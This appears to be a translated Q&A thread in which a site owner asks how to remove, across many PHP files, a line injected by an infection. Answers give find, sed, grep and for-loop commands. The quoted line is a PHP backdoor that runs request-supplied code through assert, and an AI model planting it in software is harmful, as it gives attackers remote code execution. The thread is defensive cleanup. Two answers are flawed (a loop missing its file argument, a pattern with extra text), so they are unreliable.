我的網站被病毒感染了。該病毒在我網站的幾個文件中添加了這一行。我的想法是使用終端機中的唯一命令刪除這行文字。
假設我有資料夾“my-folder”,裡面有我的檔案:“file-1.php”、“file-2.php”等。
並且,假設有多個文件被感染。
有沒有命令可以在多個文件中找到並刪除這行程式碼立刻?
要刪除的文字: extract($_REQUEST) && @assert(stripslashes($accept)) && exit;
我發現了這個,但它只適用於單一文件:
$ sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' my-file.php
我可以這樣做嗎?
答案1
您可以結合
sed
使用find
以使其遞歸。像這樣的東西:find . -type f -name "*php" -exec sed -i.bak 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' {} \+
請注意,它將遍歷您當前的目錄樹並將 sed 應用於每個現有的“*php”檔案。它還將為每個更改的檔案建立 .bak 備份檔案(以便您可以稍後恢復以防萬一)。如果不需要備份,
-i.bak
只需替換為-i
.否則,您可以稍後使用諸如find . -name "*php.bak" -delete
.此步驟不會幫助您立即修復所有問題,但它肯定會在將來節省您的時間:將包含腳本的目錄保存在下面
git
(理想情況下它應該是一個完整的CI/CD 解決方案,但您可以從git 開始) ),這樣您就可以輕鬆回滾/前進套用到檔案的變更。
答案2
搜尋包含惡意字串的文件,並使用以下命令編輯它們sed
:
ag -lF --php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
我常常依靠ag
僅搜尋php
帶有該標誌的文件--php
。如果您願意,您可以透過以下方式完成相同的任務grep -r -i --include \*.php
:
grep -rilF --include \*.php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
答案3
根據您的命令,我建議您使用“for循環”來執行此操作:
for i in file-1.php file-2.php
do sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
done
您也可以新增任何您想要的檔案「for i in file-1.php file-2.php file-n.php
答案4
您可以使用下列方法刪除檔案中包含特定模式的行
您可以在 for 迴圈中提及文件
for i in file1 file2
do
sed -i '/Text to remove: extract($_REQUEST) && @assert(stripslashes($accept)) && exit/d' $i
done